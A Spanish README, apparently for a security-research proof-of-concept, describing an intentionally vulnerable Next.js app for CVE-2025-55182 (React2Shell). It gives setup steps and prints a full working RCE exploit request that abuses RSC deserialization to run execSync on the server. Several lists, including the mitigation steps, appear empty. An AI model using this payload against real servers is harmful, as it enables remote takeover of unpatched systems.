
Prueba de concepto de una aplicación Next.js que demuestra CVE-2025-55182 (React2Shell), una RCE crítica en React Server Components, con ejemplo de exploit y guía de mitigación para investigación de seguridad.
Esta es una aplicación Next.js de prueba de concepto vulnerable a CVE-2025-55182 (también conocida como "React2Shell"), una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en React Server Components.
Esta aplicación es intencionalmente vulnerable y SOLO debe usarse para:
NO:
CVE-2025-55182 afecta:
La vulnerabilidad se origina por una deserialización insegura en el manejo de cargas útiles de React Server Components, permitiendo a atacantes no autenticados ejecutar código arbitrario en el servidor a través de solicitudes HTTP especialmente diseñadas.
Instalar dependencias:
npm install
Ejecutar el servidor de desarrollo:
npm run dev
Acceder a la aplicación: Abre http://localhost:3000 en tu navegador.
Construir la imagen Docker:
docker build -t nextjs-cve-2025-55182 .
Ejecutar el contenedor:
docker run --rm -p 3000:3000 nextjs-cve-2025-55182
Acceder a la aplicación: Abre http://localhost:3000 en tu navegador.
/): Un formulario de inicio de sesión simple usando React Server Components/dashboard): Una página protegida accesible después de iniciar sesiónEsta aplicación usa:
La vulnerabilidad existe en el mecanismo de deserialización de cargas útiles RSC, que puede ser explotado enviando solicitudes HTTP multipart maliciosas directamente a las rutas de página (por ejemplo, http://localhost:3000 o http://localhost:3000/dashboard). El exploit funciona en cualquier página que use React Server Components.
La vulnerabilidad puede ser explotada enviando solicitudes HTTP especialmente diseñadas directamente a las rutas de página (por ejemplo, http://localhost:3000 o http://localhost:3000/dashboard). El exploit funciona en cualquier página que use React Server Components.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
El exploit apunta directamente a las rutas de página: funciona en localhost:3000 (página de inicio) o localhost:3000/dashboard (página de panel de control).
Para corregir esta vulnerabilidad:
Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad.